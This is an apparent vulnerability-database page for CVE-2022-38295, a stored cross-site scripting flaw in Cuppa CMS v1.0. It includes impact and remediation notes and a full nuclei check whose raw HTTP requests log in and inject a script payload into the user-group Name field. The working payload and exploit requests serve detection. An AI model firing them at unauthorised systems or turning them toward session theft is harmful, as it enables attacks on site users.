HexBrain

Browse / CVEs / CVE-2022-38295

CVE-2022-38295· cuppacms / cuppacms· CWE-79

Cuppa CMS v1.0 - Cross Site Scripting

mediumseverity
6.1CVSS score
1.5%likelihood of exploitation, next 30 days
74%of all CVEs are less likely
Readycheck to confirm it

Cuppa CMS v1.0 was discovered to contain a cross-site scripting vulnerability at /table_manager/view/cu_user_groups. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field under the Add New Group function.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to session hijacking, defacement, or theft of sensitive information.

Fix

To remediate this vulnerability, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.

How to confirm it

Send: POST / ; POST /components/table_manager/classes/functions.php ; POST /components/table_manager/
Positive when: contains in body_3 "\"><script>alert(document.domain)</script>" and "cuppa_html" AND contains in header_3 "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-38295 -u <target>

The full check
id: CVE-2022-38295

info:
  name: Cuppa CMS v1.0 - Cross Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    Cuppa CMS v1.0 was discovered to contain a cross-site scripting vulnerability at /table_manager/view/cu_user_groups. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field under the Add New Group function.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    To remediate this vulnerability, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
  reference:
    - https://github.com/CuppaCMS/CuppaCMS
    - https://nvd.nist.gov/vuln/detail/CVE-2022-38295
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-38295
    cwe-id: CWE-79
    epss-score: 0.01467
    epss-percentile: 0.73926
    cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: cuppacms
    product: cuppacms
  tags: cve2022,cve,xss,cuppa,authenticated,cuppacms,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&password={{password}}&language=en&task=login
      - |
        POST /components/table_manager/classes/functions.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        id_field=0&name_field="><script>alert(document.domain)</script>&admin_login_field=1&site_login_field=1&enabled_field=1&view=cu_user_groups&function=saveAdminTable
      - |
        POST /components/table_manager/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        path=component%2Ftable_manager%2Fview%2Fcu_user_groups&uniqueClass=

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - '"><script>alert(document.domain)</script>'
          - 'cuppa_html'
        condition: and

      - type: word
        part: header_3
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from